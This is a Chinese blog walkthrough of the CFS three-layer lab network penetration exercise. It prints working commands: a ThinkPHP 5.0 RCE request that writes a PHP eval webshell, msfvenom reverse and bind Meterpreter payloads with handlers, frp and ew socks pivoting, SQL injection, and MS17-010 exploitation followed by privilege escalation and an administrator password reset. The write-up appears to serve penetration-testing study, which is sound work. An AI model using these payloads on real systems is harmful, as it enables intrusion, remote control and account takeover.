CFS三层内网渗透靶机

/ 1评 / 3

靶机环境搭建

攻击机 kali: 192.168.2.213

Vmware 网卡设置:

网络拓扑结构:

image-20200510153758660

target1

访问"公网服务器" 192.168.2.236 发现是 ThinkPHP 5.0 。因此想到tp5的rce漏洞

/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

发现成功执行命令

直接写入shell.

http://192.168.2.236/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['cmd']);?>" > shell.php

上传Meterpreter马

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.2.214 lport=5555 -f elf -o ./re

msf 中启用监听

use exploit/multi/handler  
set payload linux/x64/meterpreter_reverse_tcp  
set lhost 192.168.2.214  
set lport 5555  
run

在target1 服务器上执行

./re

成功获取到target1 的shell, 开始后续的渗透

查看子网段

run get_local_subnets

发现存在 192.168.22.0/24 网段,对该网段进一步的探测

首先添加路由到本机

run autoroute -s 192.168.22.0/24  
run autoroute -p //查看路由情况

我们指定了子网 192.168.22.0/24的 下一跳路由为网关 Session1 因此我们后续就可以直接在msf中访问内网 将我们获取到的shell放置于后台运行

background

开始扫描该网段存活主机

use auxiliary/scanner/portscan/tcp
set rhost 192.168.22.0/24
set threads 50
run

发现了主机 192.168.22.22 开放了80端口(web服务) 为了方便测试,接下来应当将内网转发到攻击机上。

target2

在target1 中建立内网穿透,这里可以使用 frp、ew等内网穿透工具建立socks代理。 Frp示例: target1中上传frpc frpc.ini frpc.ini中写入

[common]
server_addr = 192.168.2.213
server_port = 7000

type = tcp remote_port = 11000 plugin = socks5 ; plugin_user = xxx ; plugin_passwd = xxx 攻击机启用frps 在frps.ini中写入 ind_port = 7000

运行后就建立了通过本地11000端口访问内网的socks5 代理 利用proxychains等工具连接代理,浏览器设置socks5代理为192.168.2.236:11000 即可直接访问内网服务.

通过首页的hint,得知存在sql注入点 sqlmap 跑一波:

拿到管理员的登录账号密码

index.php?r=admin

成功登录后台

并且通过 模板选项卡写入shell

访问index.php?r=tag 成功getshell

挂上内网sock5代理后 通过蚁剑成功连接shell:

至此,我们已经拿到一台外网服务器(192.168.2.236)和一台内网服务器(192.168.22.22)的shell。

接下来想办法拿到 target2 的 meterpreter shell。

梳理一下目前的环境,我们的攻击机通过 target1 作跳板连接了 target2,但是target2 并不能够主动向我们的攻击机发起连接,因此通过直接上传马到target2 让其主动连接我们,进行反弹shell不可取。 所以要想办法让我们去主动连接 target2。 使用msf 的 bind 正向连接 target2 生成 bind 马:

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4321 -f elf > shell2.elf

开启监听

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
set lport 4321
run

上传shell2.elf后执行 连接成功,取得target2 meterpreter

target3

同样的,看子网段:

发现存在 192.168.33.0/24网段 添加该网段路由:

对该网段探测:

发现除了 192.168.33.22自己,外 还有 33.33主机 对其端口进行单独扫描 两个敏感端口: 445(smb) 3389(rdp) 确定是windows 主机

利用msf模块检测smb是否存在漏洞

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.33.33
run

发现可能存在 ms17_010 永恒之蓝漏洞 寻找相关利用

use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.33.33
run

漏洞利用执行成功后,会自动创建一个shell.

尝试自动提权

getsystem

发现成功获取system用户权限,直接修改administrator用户密码。 准备远程桌面登录 target3

建立两层内网穿透转发

为了在本地能够远程登陆内网机器 target3 ,需要将内网端口转发出来。 使用ew 工具可以快速的建立多级内网代理转发 首先将 ew工具上传到 target1和target2上

在 target2 上执行:

./ew -s ssocksd -l 1081

开启1081端口接受来自外部的流量

在 target1 上执行:

./ew -s lcx_tran -l 1082 -f 192.168.22.22 -g 1081

将来自1082端口的流量转发至内网 192.168.22.22 的 1081端口 在攻击机上,通过socks代理连接 192.168.2.236:1082

至此,我们建立了 Attacker -> target1 -> target2 的流量转发

配置好 proxychians 后, 本地直接执行

proxychains rdesktop 192.168.33.33

连接并成功登录内网机器。

  1. rantrism说道:

    您好~我是腾讯云+社区的运营,关注了您分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体分享计划。完整福利和申请地址请见:https://cloud.tencent.com/developer/support-plan
    作者申请此计划后将作者的文章进行搬迁同步到社区的专栏下,你只需要简单填写一下表单申请即可,我们会给作者提供包括流量、云服务器等,另外还有些周边礼物。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

Captcha Code